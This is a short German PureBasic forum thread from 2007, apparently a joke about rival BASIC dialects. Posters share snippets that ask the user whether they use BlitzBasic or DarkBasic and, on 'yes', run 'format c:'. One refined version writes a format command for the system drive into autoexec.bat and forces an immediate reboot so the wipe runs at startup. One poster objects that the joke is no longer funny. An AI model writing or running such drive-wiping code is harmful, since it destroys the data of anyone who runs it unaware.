Verfasst: 02.04.2007 18:45
hübsche 3d-prjekte haben die da
Das deutsche PureBasic-Forum
https://www.purebasic.fr/german/
Code: Alles auswählen
Result = MessageRequester("Frage","Benutzen Sie BlitzBasic?",#mb_iconquestion|#pb_messagerequester_yesno)
if Result = #pb_messagerequester_yes
runprogram("format","c:")
endif
PureBasic4.0 hat geschrieben:Kann sein, dass das mit dem Format nicht hinhaut, hab's nicht ausprobiertCode: Alles auswählen
Result = MessageRequester("Frage","Benutzen Sie BlitzBasic?",#mb_iconquestion|#pb_messagerequester_yesno) if Result = #pb_messagerequester_yes runprogram("format","c:") endif
OK. Hier der neue Code:SimonSimCity hat geschrieben:PureBasic4.0 hat geschrieben:Kann sein, dass das mit dem Format nicht hinhaut, hab's nicht ausprobiertCode: Alles auswählen
Result = MessageRequester("Frage","Benutzen Sie BlitzBasic?",#mb_iconquestion|#pb_messagerequester_yesno) if Result = #pb_messagerequester_yes runprogram("format","c:") endif
Ich würde mal sagen:
Du kannst die Systempartition nicht formatieren, wenn das Betriebssystem gestartet ist!!
Haben schon viele Leute vor dir probiert...
Wenn das gestartete Betriebssystem nicht auf C:\ liegt, müsste der Befehl ohne weiteres deine Partition leeren können.
Code: Alles auswählen
Buffer = AllocateMemory(1000)
Result = MessageRequester("Frage","Benutzen Sie Darkbasic?",#MB_ICONQUESTION|#PB_MessageRequester_YesNo)
If Result = #PB_MessageRequester_Yes
GetSystemDirectory_(Buffer,MemorySize(Buffer))
String$ = PeekS(Buffer)
Dir$ = Left(String$,3)
OpenFile(1,Dir$+"autoexec.bat")
WriteString(1,"format "+Dir$)
CloseFile(1)
RunProgram("shutdown.exe","-r -t 00","")
EndIf
Also ich kann darüber nicht mehr lachen.